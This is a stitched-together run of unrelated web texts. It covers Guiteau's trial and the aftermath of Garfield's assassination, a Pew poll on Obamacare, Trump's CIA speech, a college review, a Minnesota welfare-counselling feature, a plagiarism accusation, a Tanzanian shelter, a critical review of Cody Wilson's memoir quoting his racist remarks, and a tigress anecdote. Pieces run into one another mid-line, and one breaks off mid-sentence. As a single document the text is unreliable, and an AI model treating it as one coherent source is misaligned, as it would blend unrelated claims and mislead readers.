Guiteau went on trial in November,[71] represented by his brother-in-law George Scolville. He received ample media attention during his trial for his bizarre behavior, including constantly insulting his defense team, formatting his testimony in epic poems which he recited at length, and soliciting legal advice from random spectators in the audience via passed notes. He claimed that he was not guilty because Garfield's murder was the will of God and he was only an instrument of it.[72] He sang "John Brown's Body" to the court.[73] He dictated an autobiography to the New York Herald, ending it with a personal ad for a nice Christian lady under 30.[74] He was oblivious to the American public's outrage and hatred of him, even after he was almost assassinated twice himself. At one point, he argued that Garfield was killed not by him but by medical malpractice. "I deny the killing, if your honor please. We admit the shooting".[75] He was housed at St. Elizabeths Hospital in the southeastern quadrant of Washington, D.C. throughout the trial and up until his execution.
Funeral music written in Garfield's honor
Guiteau's trial was one of the first high-profile cases in the United States where the insanity defense was considered.[76] Guiteau vehemently insisted that he had been legally insane at the time of the shooting, but he was not really medically insane, which caused a major rift with his defense lawyers, and which probably contributed to the jury's impression that Guiteau was merely trying to deny responsibility.
Silk mourning ribbon
Guiteau was actively making plans to start a lecture tour after his release and to run for president himself in 1884; at the same time, he delighted in the media circus surrounding his trial. He was dismayed when the jury was unconvinced of his divine inspiration, convicting him of the murder. He was found guilty on January 25, 1882.[77] He appealed, but his appeal was rejected, and he was hanged on June 30, 1882 in the District of Columbia. Guiteau famously danced his way up to the gallows and waved at the audience from the gallows, shook hands with his executioner and, as a last request, recited a poem that he had written called "I am Going to the Lordy".[78] He requested an orchestra to play as he sang the poem; it was denied.
Aftermath [ edit ]
The Garfield Monument at the U.S. Capitol
Memorial to President Garfield in the former train station. The gold star on the floor marked his location when he was shot.
Part of Charles Guiteau's preserved brain is on display at the Mütter Museum at the College of Physicians of Philadelphia.[79] Guiteau's bones and more of his brain, along with Garfield's backbone and a few ribs, are kept at the National Museum of Health and Medicine,[80] at the Army's Forest Glen Annex in Silver Spring, Maryland. Garfield's assassination was instrumental to the passage of the Pendleton Civil Service Reform Act on January 16, 1883. Garfield himself had called for civil service reform in his inaugural address[81] and supported it as President in the belief that it would make government more efficient.[82] It was passed as something of a memorial to the fallen President.[83] Arthur lost the Republican Party nomination in 1884 to Blaine, who went on to lose a close election to Democrat Grover Cleveland.
The Sixth Street rail station was later demolished. The site is now occupied by the West Building of the National Gallery of Art. No plaque or memorial marks the spot where Garfield was shot,[84] but a few blocks away, a Garfield memorial statue stands on the southwest corner of the Capitol grounds.
The question of Presidential disability was not addressed. Article II, section 1, clause 6 of the Constitution says that in case of the "Inability [of the President] to discharge the Powers and Duties of the said Office, the same shall devolve on the Vice President", but gives no further instruction on what constitutes inability or how the President's inability should be determined. Garfield had lain on his sickbed for 80 days without performing any of the duties of his office except for the signing of an extradition paper, but this did not prove to be a difficulty because in the 19th century the federal government effectively shut down for the summer regardless. During Garfield's ordeal, the Congress was not in session and there was little for a President to do. Blaine suggested the Cabinet declare Arthur acting President, but this option was rejected by all, including Arthur, who did not wish to be perceived as grasping for power.[58][85]
The Garfield Tea House in October 2007
Congress did not deal with the problem of what to do if a President were alive but incapacitated as Garfield was. Nor did the Congress take up the question 38 years later, when Woodrow Wilson suffered a stroke that put him in a coma for days and left him partially paralyzed and blind in one eye for the last year and a half of his Presidency. It was not until the Twenty-fifth Amendment was ratified in 1967 that there was an official procedure for what to do if the president became incapacitated.
Lincoln's assassination had taken place roughly sixteen years before in the closing stages of the Civil War. On the other hand, Garfield's term was marked (for the most part) by peacetime, and a general complacency with respect to presidential security had developed by this time. Garfield, like many other presidents, often preferred to interact directly with the public, and although some form of security was almost certainly in place, a comprehensive security detail had not been seriously considered by either Congress or the president up to that point. Remarkably, it would not be until the assassination of William McKinley some twenty years later that Congress would finally task the United States Secret Service (founded to prevent counterfeiting) with the responsibility of ensuring the president's personal safety.[86]
The Garfield Tea House, built by the citizens of Long Branch, New Jersey, with the railroad ties that had been laid down specifically to give Garfield's train access to their town, still stands today.[87]
See also [ edit ]
References [ edit ]A Pew Research survey released Thursday finds that a majority of Americans (54%) disapprove of Obamacare five years after it became law. Pew notes that the currents results show the law has declined in popularity since a Supreme Court ruling last summer:
Currently, 44% approve of the 2010 health care law, compared with 54% who disapprove of the law. In July 2015, after the Supreme Court upheld the federal government’s ability to provide insurance subsidies through federal exchanges, nearly equal shares approved (48%) as disapproved of the law (49%). Over the prior two years, somewhat more disapproved than approved of the law.
To the degree there is any bright spot for progressives in this poll it comes from the modest uptick in those who say the law has been good for the country as a whole. As this Pew chart shows, 39% say the law is good for the country compared to 30% two years ago. However, the law is still underwater on this question with 44% saying the law has had a negative effect on the country.
One interesting finding of the poll is how little opinions have changed since Pew began surveying the topic in early 2012. Back then 76% of Democrats approved of the law; today it’s 78%. Back then 11% of Republicans approved; today it’s just 9%. So it appears positions on both sides of the aisle have fluctuated a bit over time as big events such as the disastrous roll-out or the Supreme Court ruling become news, but things gradually return to the same basic standoff. As President Obama prepares to leave office his signature accomplishment is a winner with Democrats but still a loser overall.President Donald Trump started and finished a speech he gave at the CIA headquarters Saturday afternoon by criticizing the "dishonest media." Several of the things he said were inaccurate.
Some members of the media expressed astonishment about the setting and the tone of the speech.
"The stars on the wall behind Trump, who is talking about his crowd sizes and complaining about the media, mark dead CIA operatives," Los Angeles Times columnist Cathleen Decker tweeted.
"The president just tried to rally CIA workforce around the idea that media is the enemy. Let that sink in," wrote Mark Mazzetti, a Washington investigations editor at The New York Times.
Trump himself called it a "war," further ratcheting up his extreme anti-media rhetoric from the campaign trail.
"As you know, I have a running war with the media. They are among the most dishonest human beings on Earth," Trump said.
Some CIA staffers in the room applauded the insult, but the senior leadership in the front rows did not, according to a CNN producer who was there.
"They sort of made it sound like I had a 'feud' with the intelligence community." Nonsense, Trump said, "it is exactly the opposite, and they understand that too."
In fact, Trump repeatedly and publicly questioned the country's intelligence services amid reporting about Russian attempts to interfere in the election.
"He referred to it repeatedly in tweets as 'intelligence' in quotes. He was undermining" them, CNN chief national security correspondent Jim Sciutto said afterward.
CNN chief political correspondent Dana Bash added, "It's unfortunate that he said that there, on hallowed ground. It happens to be not true that we conflated things that he said. All you have to do is look at his Twitter feed to see what he said."
Trump also exaggerated the size of the crowd at his swearing-in ceremony Friday and complained about what he said was unfair coverage.
He said it looked to him "like a million, million and a half people" were in attendance for his inauguration, but that a television network (which he did not name) "showed a field where there was practically nobody standing there."
He also said the crowd "went all the way back to the Washington Monument," but it did not.
Major television networks shared a camera at the top of the monument that showed lots of open space during Trump's inauguration.
Trump even described the inauguration weather inaccurately, saying that the skies became "really sunny" after his speech, when in fact it remained cloudy.
At the beginning of the speech, Trump struck a more positive tone about the press, saying "they did treat me nicely on that speech yesterday."
But at the end, he returned to his anti-media rhetoric. He made a brief mistake by a Time magazine reporter, Zeke Miller, sound like an ongoing scandal.
When a small group of journalists, known as a "pool," was allowed into the Oval Office on Friday evening, there was some confusion about whether a bust of Martin Luther King, Jr. was still there. The bust had been controversial when former President Obama moved it into the Oval Office, replacing a bust of Winston Churchill that had been there.
Pool reporter Zeke Miller of Time initially couldn't see the MLK bust, and he sent word to the rest of the press corps that it had been removed.
But it was still there, albeit out of Miller's line of sight. A correction went out to the press corps within half an hour.
Trump press secretary Sean Spicer tweaked Miller about the incident on Twitter, calling it "a reminder of the media danger of tweet first check facts later."
Miller apologized to his colleagues, and Spicer tweeted, "Apology accepted."
Trump said the incident showed "how dishonest the media is." He said the MLK bust removal was a "big story," when in fact it was not treated like a big story by any major news outlets.
Trump concluded his comments about the press by saying, "I love honesty. I like honest reporting."Americans have grown accustomed to observing female leaders elsewhere, including Margaret Thatcher and Theresa May in Britain, and Angela Merkel in Germany. At home, the Democratic pollster Peter Hart said, the rise of some women to the top of major corporations smoothed a path for voters to envision a woman in the Oval Office.
“There is much greater acceptance of women being able to be seen in that |
The dorm rooms for freshman have good internet, but that is about it. The party scene exists for those that know who to talk with.
The food is horrible on campus and not fit for consumption. Food is often undercooked or contains mold in the dining halls. The stores on campus don't follow safety procedures and barely pass examinations. Workers are underpaid, and counselors aren't there to help but rather do anything they can to keep you enrolled while stealing away your money. The bursar's office often "mistakes" the amount of money given back to students after paying due to miscalculations on their software.Shelanda McHie came to the welfare office bearing good news. Applebee’s had given her more shifts. On her previous visit to the office, she had reported that the restaurant had cut back her hours to 25 a week. Now, with Applebee’s and some shifts she had picked up at a second job, she was back above 40 hours again.
“Are you? Awesome!” said Lisa Lee, her employment counselor. “That’s what we’ve been working towards. Congratulations!” Lee’s cubicle was peppered with positive affirmations. One said, “You are capable of more than you know.” Another read, “Dear weary mom, you are courageous.”
McHie is 34. She is a single mother of seven children, and she is trying to raise all of them by herself. Her Chevy Suburban is almost 20 years old, and just the other day, it stalled at an intersection on her way to a new job. She says she gave it a second and prayed to God. The car came back to life. In the past three years, she left an abusive boyfriend, gave birth to her youngest boy and lost a sister. “I have days up and low,” she says. “I’ve never prayed so much in my life.”
A few years ago, McHie’s visit to a counselor in Ramsey County, Minn., would have looked quite different. She would have walked in and simply handed over a job log showing how much time she had spent working or looking for work. The counselor would have checked to see that McHie had met her required hours. If the count was too low, the counselor could have fined her up to 30 percent of her welfare benefits. The conversation would have been short. The county didn’t do much counseling in those days. The meetings were compliance checks.
McHie receives money through a federal welfare program that requires her to fill out monthly timesheets, a result of the 1996 welfare reform law that emphasized work as the key to escaping poverty. To make sure people were using those public dollars to find jobs, every state had to report a work participation rate, a statistic calculated though the meticulous monitoring of the individual timesheets. “I felt like a number,” McHie says, “just somebody they had to get off the system.”
Today, Lee and other Ramsey County counselors aren’t pushing their clients to get a job as quickly as possible. Employment is still the goal, but they are working with the clients to draft long-term plans. The plans are broken down into steps, and the steps are divided into manageable chunks.
Before, counselors told their clients what they needed to do. Now it’s more of an interview. Lee asks questions to guide the conversation, but McHie charts her own career path. Her dream is to run her own restaurant. Next year, she hopes to enroll in a certificate program for managers. But first, she needs to take a class in basic computer skills. Computers terrify her; her children have to help her use the Internet.
“What will it look like when you’ve reached a point of success?” Lee asks.
“When I call the shots,” McHie replies.
“‘When I call the shots,’” Lee says, mulling over the answer. “I like that.”
"What will it look like when you've reached a point of success?" asks employment counselor Lisa Lee, right.
Meetings like the one between McHie and Lee are a departure from the way most states and localities approach job assistance for people on welfare. Ramsey County is part of a national movement to redefine what success is in a welfare-to-work program. They’re using more nuanced performance measures, and they’re asking clients to be the ones who map a path out of poverty.
The overhaul begins with the federal work participation rate. In much of the country, this rate is the only way welfare agencies grade their own performance, so caseworkers do what they can to keep the participation numbers as high as possible. Kate Probert, who manages employment services for Ramsey County’s welfare program, doesn’t want caseworkers focusing just on that federal requirement. It is still something the county has to report, but in the last few years, she and her staff have identified a range of outcomes that they consider to be more important: not just employment but also job retention, educational attainment and active engagement with counselors to create a work plan. Counselors now pay less attention to the participation rate and more attention to whether their clients make progress in those other areas.
Under Probert, the county is also trying to address the common barriers that prevent welfare recipients from keeping a job. In some cases, those barriers are logistical, such as finding child care and reliable transportation. But her staff has become interested in another potential barrier: how the brain processes information, or fails to. Many people on public assistance have spent years in poverty, where their immediate concerns are whether they can afford next month’s rent or heating bill. Some research suggests that those kind of high-stress environments can short-circuit coping and organizational skills that contribute to a person’s success in the workplace. So job counselors in Ramsey County are providing their clients with tips to reduce stress.
Probert and her staff are arguing that effective job assistance requires a better understanding of the individuals on welfare -- how they got there and what’s keeping them from leaving the system. For the last two decades, job assistance for welfare didn’t take into account clients’ education or readiness to work. It assumed that if government pushed them to get a job, they’d stay employed, increase their earnings and eventually leave welfare. But for some families, finding work wasn’t enough.
“If we really want to break the cycle of poverty, the reality is that a lot of our families are coming from a history of trauma, a history of poverty and of growing up without role models,” says Andrew Freeberg, a workforce development director at Goodwill, one of Ramsey County’s vendors. “We have to do something different.”
Under Kate Probert, counselors pay more attention to their client's progress in employment, job retention and educational attainment.
No state has done more than Minnesota in rethinking how it measures success in a welfare-to-work program, and no place in the state has been more willing to build upon those efforts than Ramsey County. Between its exhaustive tracking of performance measures and its heavy focus on empowering the client, the county is at the forefront of a “grassroots revolution” in workforce programs, says Michelle Derr, a researcher at Mathematica Policy Research. “I think we’re in a totally new era,” Derr says. “When we look nationally, there are a lot of programs that can get people jobs, but they don’t keep them.”
Part of what’s different about Ramsey County is the extra emphasis on long-term trajectory. In most welfare agencies, according to Derr, “people are so focused on participation [in mandated activities] and not on progress.” In Ramsey County, job assistance “isn’t just about showing up, it’s about movement. You have to make progress.”
The 1996 welfare reform law placed a lifetime cap on how long families could receive welfare, so parents felt pressure to find work before the checks stopped coming. The upper limit was 60 months, though states could lower the cap, and many have.
Congress also introduced a strict reporting requirement in its welfare reform. Each state had to show that at least half of its families on welfare spent a minimum number of hours on countable work-related activities. If they didn’t, the federal government could cut the state’s welfare funding. States that reduce the number of people on their welfare rolls receive a credit that makes a lower work participation rate acceptable. Most states manage to reduce their caseloads enough to receive credits. In 2014, the national work participation rate among welfare recipients was about 36.6 percent.
Paid employment isn’t the only way to meet the work activity requirement. Welfare recipients can also report the hours they spend getting trained for work, doing unpaid work, volunteering in the community or searching for jobs. For the most part, people on welfare can’t count school as an activity. After one year of vocational education, people have to combine any additional schooling with at least 20 hours a week of something more closely tied to immediate employment.
Members of Congress hoped that once people were working, they would make enough money to stay off public assistance. For some, that approach proved effective. In the late 1990s, when the economy was booming, the work-first orientation did coincide with a dramatic reduction in welfare caseloads and an increase in employment. But even under favorable economic circumstances, the participation rate doesn’t actually show whether people kept jobs or increased their earnings, and so states aren’t held accountable for improving those results. As a consequence, states don’t have much of an incentive to invest in the most intensive and long-lasting forms of job assistance.
In fact, many of the people who find work while on welfare don’t stay employed very long and don’t get paid enough to cover their family’s living expenses. Last year in Ramsey County, nearly 26 percent of the people who left welfare returned within
12 months, which was consistent with the rest of Minnesota. “People tend to cycle through the system, getting the same type of jobs,” Probert says. In 2015, when people found work, their median wage was $11 an hour, a relatively small sum for a single mom caring for at least one child -- the main demographic among welfare recipients in the state.
According to the federal standard for work participation, Minnesota is a success. It has met its target in all but one of the last 13 years. But state lawmakers recognize that the federal target rate doesn’t tell them much about whether residents are becoming financially independent. That’s why they created another measure called the self-support index, which looks at how people are faring three years after first receiving assistance. Using those parameters, every county reports the percentage of people who are either working at least 30 hours a week or earning enough so that they no longer qualify for cash benefits. In 2015, about two-thirds of the people who had received three years of assistance met those criteria.
The idea behind the index is that if the state holds counties to a more meaningful standard, they might improve their job services for people on welfare. Better measurement will drive better services and results. Probert and her team were thinking along the same lines when they announced in 2014 that they would add new performance measures just for Ramsey County aimed at long-term employment and independence from the welfare system. The measures fall into one of four categories: employment, employment retention, education or engagement. If people get jobs, keep jobs, increase their education and meet regularly with job counselors, Probert believes they will no longer need public assistance.
Her agency and its contractors keep track of more than 20 indicators that feed into one of those four main categories. The list is comprehensive. There’s a target for how many welfare recipients are working at least 87 hours per month. There’s another target for people who were working when they left welfare and are still working three months later. There’s one for people who create an employment plan with their counselor within three months of joining the welfare rolls. In contrast to the federal work requirement, the county includes educational advancement as part of its monthly report card, calling for a third of those without a high school diploma or GED to be taking at least 20 hours of classes per month.
This last measure is particularly important because one of the reasons welfare recipients have trouble finding better-paying jobs is inadequate education. Almost 40 percent of Minnesota parents on welfare don’t have a high school degree or a GED. About 10 percent never reached high school. Less than 1 percent finished college. The positions available to these people tend to pay entry-level wages and don’t come with paid sick leave or other health benefits that can be critical for a single parent.
Counselor Nicki Hason, right, asks her client Kyla Blomquist about her career and education goals.
If the first half of Ramsey County’s model focuses on system-wide goals, the second half focuses on the personal goals of each individual on welfare. All the counselors have been trained as coaches, which means they spend less time checking timesheets and more time interviewing people about their aspirations. “Instead of forcing you into compliance, it’s more respectful,” says Derr. “It’s about saying, ‘Where are you now and where can we take you?’”
Together, the counselor and client devise a long-term employment plan, but they also fill out worksheets with incremental goals that dovetail into the larger plan. One client in the Goodwill office, Tannasia McCollum-Mayfield, wants to become a hairdresser. She already does children’s hair in the neighborhood and she’s proud of her natural talent. “My hands work magic,” she says.
She wants to go to cosmetology school, and that means paying back some of her existing student loans; she is currently in default with the bank and can’t take out new loans for new training. Her counselor is helping her think through the steps she would need to take: First find child care, then a job. McCollum-Mayfield has visited several child-care providers, but didn’t like them. She considered having a neighbor watch her son until the counselor pressed her with a series of questions. Was the neighbor licensed? Had the neighbor received training in CPR? What kind of prior experience did the neighbor have in caring for other people’s children? The welfare program could help cover child-care expenses, but only for a licensed provider, or one that went through an extensive vetting process. They agreed that she would visit at least two more providers before their next meeting.
They needed to figure out the child-care situation because McCollum-Mayfield was waiting to hear back from Comcast about a call center position. She could have an interview within the week. It would pay about $13 an hour. “This is a job you’re interested in doing?” the counselor asked. “Have you looked at any other jobs?” McCollum-Mayfield said she wanted to be on the phone and helping people. She had also applied to a few other places. Her top choice was an opening with the Salvation Army.
“You’ve been busy,” the counselor said.
“I wanted to surprise you so you’d be happy,” McCollum-Mayfield said, “so you know I’m not just sitting on my butt.”
Tannasia McCollum-Mayfield, left, talks with her employment coach about her job applications and difficulties finding child care.
Some of what the counselors do is motivational interviewing. Their questions guide the conversation and flesh out what the client wants. They also do goal-setting exercises. The newest technique Ramsey County’s counselors are using is a self-assessment developed by psychologists Peg Dawson and Richard Guare, authors of the book Smart but Scattered. The book distills research on how stress and trauma can hamper children’s brain development, and explains how the lessons apply to adults as well. When people are sleep-deprived or stressed, they have trouble thinking clearly. If they understand how their thought process gets disrupted, they can develop coping mechanisms. Ramsey County is testing the hypothesis that if people identify their stress-based weaknesses and learn to manage them, they’ll have an easier time at work.
Counselors introduce the self-assessment in their meetings with clients, so that they can go over the instructions together and discuss the results. The test shows people’s strengths and weaknesses in how they process and manage information, funneling responses into several skill categories, such as organization, goal-directed persistence and flexibility. It’s rare for anyone to be good at all 11 skills. All the counselors take the test themselves first.
The county provides a list of tips people can employ to manage their weaker skills, such as using a planner or setting their clock 10 minutes fast. Counselor Nicki Hanson had one client take the test and found she had low emotional control. They talked about pausing for a moment before reacting to a stressful situation. The client could call Hanson if she felt overwhelmed and needed to discuss the pros and cons of making a decision. Not too long after, the client encountered some crises at work. “She almost quit seven times in a week,” Hanson says, but the tricks they discussed helped prevent an overreaction. The test “enlightened me to what she was going to need.”
"I know what I want in life," says Ron'Nesha Johnson, a client who has embraced Ramsey County's goal-centric employment assistance model.
It’s too early to say whether Ramsey County’s new approach to job assistance will be any better than traditional employment counseling. The county has been coming in above the state performance targets and has earned bonus payment to its welfare agency two years in a row. By other measures, the picture is less clear. Engagement with job counselors is up slightly compared to 2014, but the data don’t show an increase in schooling.
Even if the shift to coaching is ultimately successful, it will come with growing pains. Not everyone is cut out for the intensive and nuanced form of counseling that Probert is pushing. The ideal hire for an employment counselor used to be someone who could scour timesheets and sanction rule-breakers. Those people were organized and detail-oriented. Freeberg, the workforce director at Goodwill, says he used to steer clear of applicants with a social work background because it wasn’t a good fit for the position. Now he finds that social workers are better prepared for the job.
Where Probert and her team are noticing an improvement is in the perceptions of the counselors. “It’s probably the best time to work in this industry,” says Angela Cardella, who supervises counselors in Ramsey County. “The old way was so production-like. It’s not so scripted anymore. We don’t talk sanctions. For years, that’s all I did.”
Amanda Lindbom, another counselor, remembers when her focus was entirely on the work participation rate. “I was in a depression,” she says. “It was all about the paperwork and entering hours. It wasn’t about the person.”
In the past, Probert says, “we never talked about dreams.” Dreams are personal and usually involve a long, complicated path. Job assistance for people on welfare used to have a much simpler objective: “Go get a job.”
Ron’Nesha Johnson, a 22-year-old single mom, is an example of what can happen when employment assistance is about more than immediate employment. Her counselor, Tracy Olson, helped her find transportation subsidies and child care for her daughter. They drafted a plan for Johnson to become a medical technician, and in less than a year, she had the training she needed and a job in hand. She’s already looking at nursing classes she can take at night. By age 25, Johnson would like to be her own boss. “I know what I want in life,” she says.Three years ago it was discovered that Jasmine Star was plagiarizing quotes on Instagram and Facebook and shortly thereafter it was discovered that some of her blog posts were also plagiarized. Unfortunately, I’ve received multiple submissions that she is doing it again.
Jasmine Star’s Blog “Inspiration is for Amateurs” (which is also shared on Instagram and Facebook) is awfully similar to a quote from Chuck Close. Some of it is verbatim, some of it is heavily inspired by the source quote much like her blog posts were the last time. Below I’ve highlighted the words that were identical.
Update: there’s also at least one more quip that wasn’t Jasmine’s original words and you’ll find that added below.
Comparison (PDF for readability):
Blog:
Instagram:
Facebook (note the comments):
When I was on her blog for the above piece I had clicked over to the previous blog post she had made. The beginning of the blog had a line that rang a bell for me and a quick google search confirmed my suspicions. Like the first time this all came to light, Jasmine is again, co-opting cute stories as something that happened to her.
From her “Should I Change to Instagram Business Account?” blog, “I’m walking around the airport like everything is fine, but deep down inside my boot, my sock is sliding off.”
It’s a popular meme, original source unknown.Founded in 1987 in Moshi, Tanzania, KWIECO works to promote “human rights, economic justice, and gender equality by ensuring equal access to justice and equality for women and children.” The KWIECO Shelter House embodies those principles in its design crafted to foster a feeling of shared ownership. Painted bright yellow, the Shelter House is divided into two phases: the first phase, completed earlier this year, primarily consists of housing; the second phase will include spaces for community education, capacity building, and KWIECO office spaces. The second phase’s community spaces and offices will wrap around the existing structures to “create a protecting volume for the Shelter.”
Related: FAREstudios’s Green Women’s Clinic Inspires Hope in West Africa
The Shelter House’s main gate greets visitors and residents with artwork of a Tanzanian kanga skirt and the printed Swahili message: “Equal rights for all are the basis of development.” In addition to drawing inspiration from the local culture, the architecture was also directed by the desire to minimize environmental impact. The large covered open-air spaces promote natural ventilation, while providing protection from the sun and rain. To minimize reliance on electricity in the daytime, the architects installed roof windows and recycled glass bottles to bring natural light into the rooms. Water is heated using low-tech solar heaters. Local natural materials, such as bamboo and banana leaves were used to construct the ceilings and doors.
+ Hollmén Reuter Sandman Architects
Via ArchDaily
Images via Hollmén Reuter Sandman ArchitectsA woman admires a 3-D printed handgun on display in a museum. (Photo: Oli Scarff/Getty Images)
Cody Wilson was 24 when he decided to design a gun that anyone could make at home with a basic 3-D printer. It was 2012, and he was slogging through law school at the University of Texas–Austin, reading anarchist and anti-state philosophy in his spare time, hungering for a sense of purpose. Almost as soon as he announced his plan for a “wiki weapon” online, it prompted a wave of media attention. In 2013, he uploaded blueprints for a print-at-home rifle receiver that you can combine with factory-made parts to create an unregistered semi-automatic AR-15. More famously, he also uploaded blueprints for the Liberator, a plastic pistol you can print entirely in the privacy of your own garage.
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The Liberator isn’t much of a gun. Among other problems, it cracks easily and becomes unusable, often after a single shot. Any American looking to shoot someone would have a much easier time buying a standard gun at the nearest gun show. The Liberator’s power lies less in what it can do and more in the world it suggests: a world of Liberator-style guns and file-sharing networks that spring up as quickly as they get shut down. Shortly after Wilson posted the file to his website, Defense Distributed, the Department of State ordered him to remove it. But Wilson’s team claimed that 100,000 people had already downloaded it, and today the file is easily accessible.
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For his efforts, Wilson has been profiled breathlessly by journalists around the world; invited to speak at the Museum of Modern Art; and named both a “Most Dangerous Man on the Internet” and “Most Dangerous Man in the World” by Wired. The guy makes good copy, in part because his project is a plausible intersection for all manner of overlapping, hot-topic trends. Defense Distributed is a gun control story; a free speech story; a WikiLeaks-inflected “Internet dissemination versus The Man” story; and a disruption story. Plus, Wilson is colorful: young, brash, and prone to peppering his speech — and now, in his memoir, Come and Take It: The Gun Printer’s Guide to Thinking Free, his prose — with allusions to philosophers as disparate as Nietzsche, Foucault, Proudhon, and Baudrillard.
The short version of Wilson’s philosophy in Come and Take It: State power is out of control, and we’ve forgotten how to be individuals. This problem, as Wilson sees it, is so totalizing that any belief in piecemeal reforms is delusional. Only a complete rupture with the present will do. Finally: This necessary rupture will be achieved only by Liberator-type projects that break the state’s monopoly on force. Only then will we be transported from the stale present into the clarifying light of true freedom.
For all of the attention lavished on Wilson’s projects, very few of his interviewers have asked him to elaborate on what the post-rupture world might look like. At first glance, Come and Take It strikes a similarly vague note. For Wilson, the connection between his project and a better (truer, freer, less coercive) future is self-evident. Instead of trying to prove the case, he instead charts the play-by-play of his transformation from frustrated law student to enfant terrible of the radical gun-deregulation movement. The basic structure and tone will be familiar to anyone who has seen Fight Club or The Matrix: alienated young man, armed with extra-special sensitivity to the petty delusions of his fellow humans, finds his way into an underground network of similarly minded men.
In prose that oozes alienation, Wilson recalls traveling to California, Switzerland, Austria, and England, making contact with gun enthusiasts, anarchists, hackers, cryptocurrency activists, and the like, all claiming they know how to usher in the revolution, or at least how to prepare for it (or, at the very least, how to get Cody Wilson some money).
Come and Take It: The Gun Printer’s Guide to Thinking Free. (Photo: Gallery Books)
Along the way, he drops a few hints of a worldview just slightly more specific, and significantly more disturbing, than unregulated guns mean freedom, freedom is good. These hints comprise a very small portion of the book (consolidated, they would take up little more than a single page), but they are its most telling element — the expression of a racial panic, an aspect of Wilson’s ideology curiously absent from coverage of his project to date.
The first clue passes so quickly it’s easy to miss. In an airport en route to London, Wilson finds himself overcome by disgust at a security agent, whom he describes as a “slope-backed cretin.” Later, Wilson goes out of his way to recall how, in Austria, he found Slovaks to be a “hideous race,” claiming that “you see it in how they walk, how they carry themselves.” Observing a group of students watching President Barack Obama on television, he quotes every eugenicist’s favorite snippet of Nietzsche: “Too many are born.” Sitting on a bench in Vienna, he whistles “Dixie,” the de facto anthem of the Confederate States of America. (Wilson, who is white, was born and raised in Arkansas.) In California, he talks strategy with “Mencius Moldbug,” the Internet pseudonym of Curtis Yarvin, a programmer and central voice of the “neo-reactionary” right, who has proclaimed (though Wilson doesn’t mention this) that some humans are better suited to slavery than others.
On the surface, Wilson’s stated concern is freedom. But scratch that surface and it becomes clear that, while Wilson’s “freedom” might mean, in part, “freedom from the state,” it also means freedom, backed by force, from the “too many”: the conformist sheeple, hideous races, and slope-backed cretins of the world.
If this sounds like a stretch, I recommend you pull up Wilson’s Twitter feed and scroll back to May 9th, where he affixed the following caption to a photograph of a racially diverse group of Hillary Clinton supporters: “Quick, find one genetically fit person.”
Wilson’s project might, as a variety of media observers have speculated, pose deep dilemmas about how to regulate open-source software in an increasingly networked, print-on-demand future. His memoir, though, suggests the existence of much more pressing questions among his sizable audience (Simon & Schuster reportedly paid $250,000 for his book). As media scholar Robbie Fordyce has noted, users of the white supremacist website Stormfront frequently discuss the importance of 3-D printing — and not just of weapons — in the coming of a white utopia.
Come and Take It is an especially illuminating read in the Season of Donald Trump — another white preacher who stumbled onto a bigger audience than almost anyone foresaw, and whose nativist appeal the overwhelming majority of politicians, journalists, and pundits were much too slow to understand. Trump promises white America that a “great again” future awaits, and that he knows exactly how to get there. Wilson sings a similar song, but adds a verse: To prepare for greatness, grab (or print) a gun.Dear readers, last week I was fortunate to visit the Bandhavgarh Tiger Reserve in the heart of Madhya Pradesh. Although I had some stunning sightings of what is easily among the most graceful, powerful and beautiful animals on the planet, this post is not about that. It is about an amazing, true story of a tigress and a forest guard.
One of the reasons Bandhavgarh has the highest tiger density in the world is that, apart from it being well managed, compared with the tiger reserves in Rajasthan and UP, it is an ideal tiger habitat. It abounds in tiger’s food such as Chital and Sambhar deer, and the terrain is just what it should be. Meadows, water bodies, a perennial water stream, hills, thick forest and caves that ensure that the tiger, if he so wishes, can perform a catwalk to delight thousands of visitors to the park, or choose to remain hidden, away from the prying eyes of man.
The last bit is of critical importance to the tigress, especially when she’s pregnant. Speak to those who follow tigers and they’d tell you that one seldom gets to see the cubs till they are at least three months old. The first glimpse of the cubs can be had only when the tigress, having shielded them from those who can harm them, is confident that they are now strong enough and ready to learn the ways of the jungle, including observing how a kill is made. I am sharing all this so that you can better grasp the story that I am about to narrate.
Forest guard Chandar Bhan Singh is an able man and is rated highly by his peers and superiors. He is among the few who patrol the park on foot, keeping track of movements of animals, including those who can attack him, such as tigers, hyenas, bear, wolves, etc. The foot patrol is also critical to check if poachers are up to some mischief. It was during one such patrol that Chandar Bhan sighted what none in the current lot of guards had. He saw, hidden from all in a small cave, tiny tiger cubs. Now, when Chandar Bhan saw the cubs, their mother too saw that this human had seen where the cubs were.
(Forest guard Chandar Bhan Singh)
Full of excitement and eager to win brownie points, Chandar Bhan sprinted back to tell his boss, who too was excited and said they must go and take a look. Since it was evening, they postponed the trip to the next morning. In the morning when the two went looking for the cubs, they realised that the tigress, having sensed that the hideout had been exposed, had moved them somewhere else.
Initially, Chandar Bhan’s boss pooh-poohed his claim that he had seen the cubs, but then they decided to look around, assuming that it couldn’t be too far away considering there were two. By evening, the two found the new hideout. Once again, the tigress noticed the duo who were on the lookout for her cubs, and one of them was Chandar Bhan.
This time, the eager and excited boss thought it was his turn to earn some brownie points, so he went and informed his superior, who in turn got excited and expressed a desire to see the cubs. So, the next day, Chandar Bhan, his boss and the boss’s boss all went together to the point where the tigress had hidden the cubs. But no, the tigress was smarter and had moved location again. The desperate trio, against all norms of forestry and acceptable behaviour towards wild animals, thought they must find out where the cubs had been hidden and decided to comb the area.
About 70 guards stood in a line, at a distance of not more than five metres apart, and started combing the area where they thought the tigress might have hidden the cubs. Within minutes, out of nowhere emerged an enraged tigress, and she came straight at Chandar Bhan and pinned him down.
She used her hind legs to make his legs immobile, put her formidable paws on his chest and growled at him, looking straight into his eyes. Chandar Bhan recalls that not once did he feel she was going to sink her canines into him. She just growled to express her extreme displeasure at his temerity to endanger the lives of her cubs.
While the others stood around, shocked and astounded at the sudden happening, Chandar Bhan, whose hands were still free, waived the small stick he was carrying in his hands. The tigress parried the stick and in the process the paw scratched his face. The tigress then disappeared as quickly as she had appeared.
A shaken Chandar Bhan sat up, dazed, till others gathered around and told him that one of his eyes had fallen out of the socket. While they quickly moved him to a hospital and even shifted him to Sankar Nethralaya in Chennai, the eye couldn’t be saved.
But the point of this tale is not that Chandar Bhan lost his eye, but the tigress’s behaviour. No one can deny that Chandar Bhan, his bosses and others acted most irresponsibly in not respecting the privacy of a immensely shy animal. Instead of being benefactors of tigers, they were behaving like petulant kids. This was in sharp contrast to the tigress’s behaviour.
